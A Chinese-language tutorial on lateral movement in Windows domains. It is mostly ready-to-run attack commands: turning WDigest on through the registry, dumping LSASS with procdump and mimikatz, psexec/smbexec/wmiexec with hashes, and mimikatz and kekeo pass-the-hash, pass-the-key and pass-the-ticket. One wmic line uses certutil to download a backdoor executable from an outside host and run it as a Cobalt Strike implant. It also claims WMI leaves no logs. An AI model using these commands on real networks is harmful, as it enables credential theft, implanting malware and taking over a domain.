域內橫向移動總結
在內網滲透中,域內橫向移動是一種常見的攻擊手法。攻擊者會利用此技術,以被攻陷的系統為跳板,訪問域內其他主機,擴大資產(包括跳板機中的文檔和存儲的憑證,以及通過跳板機連接的數據庫,域控制器等其他重要資產)。通過此類攻擊技術,攻擊者最終很可能獲取到域控制器的訪問權限,甚至控制整個內網的機器權限。
前置知識點1:
LM Hash和NTLM Hash:
windows操作系統通常使用兩種方法對用戶的明文密碼進行加密處理。在域環境中,用戶信息存儲在ntds.dit中,加密后為散列值。
LM Hash其本質是使用DES加密,從windows vista和windows server2008開始 windows默認禁用LM Hash。如果LM Hash被禁用了,攻擊者通過工具抓取LM Hash通常為"aad3b435b51404eeaad3b435b51404ee"(表示LM Hash為空或被禁用)。
NTLM Hash是基於MD4加密算法進行加密的。從windows vista windows server2003以后均為NTLM Hash加密。
前置知識點2:
windows server2012以上默認關閉Wdigest,使攻擊者無法從內存中抓取明文密碼。
windows server2012以下版本,如果打了KB2871997,攻擊者同樣也無法獲取明文密碼。
針對這種情況可以嘗試使用以下手法:
1.利用hash傳遞(PTH,PTT,PTK)傳遞攻擊
2.利用windows服務(SMB-psexec&smbexec,WMI-cscript&wmiexec&wmic)
3.破解hash值利用hashcat等。
4.修改注冊表開啟Wdigest Auth的值,值為1時用戶下次登錄攻擊者就能使用工具獲取到明文密碼。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 開啟Wdigest 需要管理員權限執行
**
**
前置知識點3:
更新KB2871997補丁產生的影響,KB2871997禁止通過本地管理員權限與遠程計算機進行連接,其后果無法通過本地管理員權限對遠程計算機使用PsExec,WMI,at,也無法訪問遠程主機的文件共享等。
更新KB2871997后,無法從內存中獲取明文密碼,也無法使用常規的PTH方法進行橫向移動,但是只要SID為500的值的賬號就能進行橫向移動,不會受到KB2871997的影響。
獲取SID的值:
wmic useraccount get name,sid

前置知識點4:
單機密碼抓取,使用procdump在線導出lsass.dmp文件,再用mimikat離線z導出lsass.dump文件中的密碼散列值。procdump是微軟官方發布的工具,殺軟並不會攔截。
1:使用procdump將lsass.exe 導出
procdump.exe -accepteula -ma lsass.exe lsass.dmp

2:使用mimikatz導出lsass.dmp文件中的密碼散列值
sekurlsa::minidump lsass.DMP
出現Switch to MINIDUMP : 'lsass.DMP'表示加載成功

sekurlsa::logonPasswords full 導出密碼散列值

***前置知識點5:*
在滲透測試中,拿到目標計算機的用戶明文密碼或者NTLM Hash后,可以通過PTH的方法,將散列值或明文密碼傳遞到目標主機進行驗證,與目標主機建立連接后,可以使用相關的方法,在遠程windows操作系統中執行命令。在多層代理環境中進行滲透測試時,由於網絡環境較差,無法使用圖形化界面遠程連接主機。此時最好選擇命令行的方式進行執行。而在實際網絡環境中,針對此類情況,網絡管理員可以通過配置windows防火牆或增加組策略進行防御。
下面介紹橫向移動中最常用的命令 IPC
ipc共享"命名管道符"的資源,是為了實現進程間通信而開放的命名管道。IPC可以通過驗證用戶名和密碼獲得相應的權限,通常在使用遠程查看計算機共享資源時使用的。
通過ipc不僅可以查看文件 還能執行上傳下載功能。
**ipc利用條件:
**
1:開啟139 445端口 ipc$可以實現遠程登錄及對默認共享資源的訪問,而139端口的開啟表示NetBIOS協議的應用。通過139 445端口,可以實現對文件共享/打印機的訪問。
2:管理員開啟默認共享 默認共享是為了方便管理員遠程管理而默認開啟的,包括所有的邏輯盤和系統目錄。可通過ipc進行連接。
建立IPC連接命令:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator
0x001橫向移動常見工具使用:
- SMB橫向-psexec&smbexec
****SMB滲透至Hash傳遞攻擊原理:SMB可以直接基於TCP協議或者NetBIOS over TCP,SMB的認證可以基於SMB,也可以基於kerberos,這兩種認證方式,前者本質上使用了hash,后者本質上使用了ticket,導致了SMB的PTH和PTT攻擊存在的基礎。利用條件:445端口開放
使用psexec:psexec是windows提供的工具,所以殺毒軟件將其列在白名單中,,通過psexec可以將管理員權限提升至system權限以運行指定程序。psexec基本原理是:通過管道在遠程計算機上創建一個psexec服務,並在本地磁盤中生成一個名為"PSESESVC"的二進制文件,然后通過psexec服務運行命令,運行結束后刪除服務。首先需要獲取目標操作系統的交互式shell。在建立ipc$的情況下,執行如下命令。獲取system權限的shell。
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator先建立ipc連接psexec \\192.168.90.30 -s cmd
net use \\192.168.90.30\ipc$ "Whoami2021" IR/user:administrator#建立了ipc連接psexec \\192.168.90.30 -s cmd #-s參數為以system權限運行
在無法獲取到明文密碼時使用NTLM Hash進行PTH攻擊
psexec -hashes :$HASH$ ./administrator@192.168.90.30 #本地admin用戶hash傳遞psexec -hashes :$HASH$ xxx.com/administrator@192.168.90.30 #域admin用戶hash傳遞psexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.90.30 #hash傳遞需要第三方包impacket
-
使用smbexec:```#明文smbexec god/administrator:Admin12345@192.168.3.21 #域用戶smbexec ./administrator:admin12345@192.168.3.32 #本地用戶#hashsmbexec -hashes :$HASH$ ./administrator@192.168.3.21 #本地用戶hash傳遞smbexec -hashes :$HASH$ xxx.com/admin@192.168.3.21 #域用戶hash傳遞smbexec -hashes :518b98ad417a53695dc997aa02d455c xxx.com/administrator@192.168.3.32 #本地用戶hash傳遞smbexec -hashes :518b98ad417a53695dc997aa02d455c ./administrator@192.168.3.32#域用戶hash傳遞`
``WMI橫向-wmic&cscript&wmiexec
windows系統都支持WMI,WMI是由一系列工具集成的,可以在本地或者遠程管理計算機系統,主要通過135端口進行利用,支持明文或者Hash的方式進行認證,該手法並不會在操作系統中留下日志,推薦使用該方法進行內網的橫向移動。利用條件:目標機開啟135端口,注意目標主機是否打過KB2871997,參考前置知識點3 -
WMIC使用執行命令:
wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c ipconfig >C:\ip.txt"
我們已經使用目標系統cmd.exe執行了一條命令ipconfig,保存在c盤下的ip.txt中。

如果不是管理員賬戶administrator或者sid值為500可能會報下面的錯

我們先建立ipc連接后可使用type命令讀取結果執行命令:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:administrator 建立ipc連接type \\192.168.93.30\C$\ip.txt

以上介紹了WMI的基本命令,然后我們來嘗試WMIC上線CS目標主機下載后門文件:
wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.43.199/artifact.exe C:/artifact.exe"

執行上線wmic /node:192.168.93.30 /user:administrator /password:Whoami2021 process call create "cmd.exe c:/artifact.exe"

-
cscript使用****(Windows內置工具,可生成一個交互式shell)執行命令:
cscript //nologo vmiexec.vbs /shell 192.168.1.1 administrator 1234.a 上傳vmiexec.vbs 到目標主機 返回一個交互式shell

-
wmiexec(可以進行hash傳遞)****明文連接
wmiexec ./administrator:Whoami2021@192.168.93.30 "whoami" 明文連接
**
**hash連接
wmiexec -hashes :ab89b1295e69d353dd7614c7a3a80cec./administrator@192.168.93.30 "whoami" hash連接

以上就是內網中常見橫向移動的工具,下面介紹常見橫向移動手法。
0x002哈希傳遞攻擊(PTH):
在內網橫向移動時常用的就是PTH攻擊了,該方法通過尋找到與賬戶相關的密碼散列值(通常是NTLM Hash)進行攻擊
使用mimikatz對NTLM Hash進行hash傳遞
privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
此時會彈出一個cmd.exe

可以嘗試在彈出來的cmd中建立ipc連接
使用ipc上傳后門文件
0x003密鑰傳遞攻擊(PTK):
主要使用AES-256密鑰進行哈希傳遞在內網滲透中經常抓取不到明文密碼,如果目標主機安裝KB2871997那么就可以使用PTK進行橫向移動。前提是目標系統必須安裝KB2871991,但是注意因為目標主機打過KB2871997所以必須使用SID值為500的賬戶進行橫向 參考前置知識點3
使用mimikatz抓取AES-256密鑰,命令如下
privilege::debugsekurlsa::ekeys
在遠程目標主機中執行
sekurlsa::pth /user:administrator /domain:god /aes256:64f2cda9c6aa77302edc1362fd1a1c49cf4bd8c4f52ea7a17a2741b67a278faddir \\dc\c$ 注意dir后跟的是主機名,不是ip
0x003票據傳遞攻擊(PTT):
PTT主要是利用票據憑證TGT進行橫向滲透測試(Kerberos認證攻擊),想要使用mimikatz的hash傳遞功能,必須要有本地管理員權限,mimikatz同樣提供了不需要本地管理員權限進行橫向移動的方法,例如PTT,接下來介紹PTT攻擊的思路。
1.使用mimikatz,可以將內存中的票據導出。命令如下
privilege::debugsekurlsa::tickets /export

執行上面命令后,會在當前目錄下出現多個服務的票據文件。
將票據文件注入到內存中。命令如下
kerberos::ptt "C:\Users\bunny\Desktop\mimikatz\[0;23104e]-2-1-40e10000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi"

列出文件目錄

2.使用keokeo進行票據傳遞kekeo需要使用域名,用戶名,NTLM Hash 三者配合生成票據,再將票據導入,從而直接連接到計算機。在目標主機輸入以下命令,運行kekeo,在當前目錄下生成一個票據文件
tgt::ask /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec

在kekeo中清除當前內存中其他票據,否則可能會導致票據傳遞失敗

kerberos::ptt TGT_administrator@WHOAMIANONY.org@WHOAMIANONY.ORG.kirbi
此時,攻擊者就可以利用Windows 7可任意訪問域中所有機器,可以使用net use進行登錄或者使用psexec,wmi等方法進行遠程執行命令了,具體操作同上,不再演示。
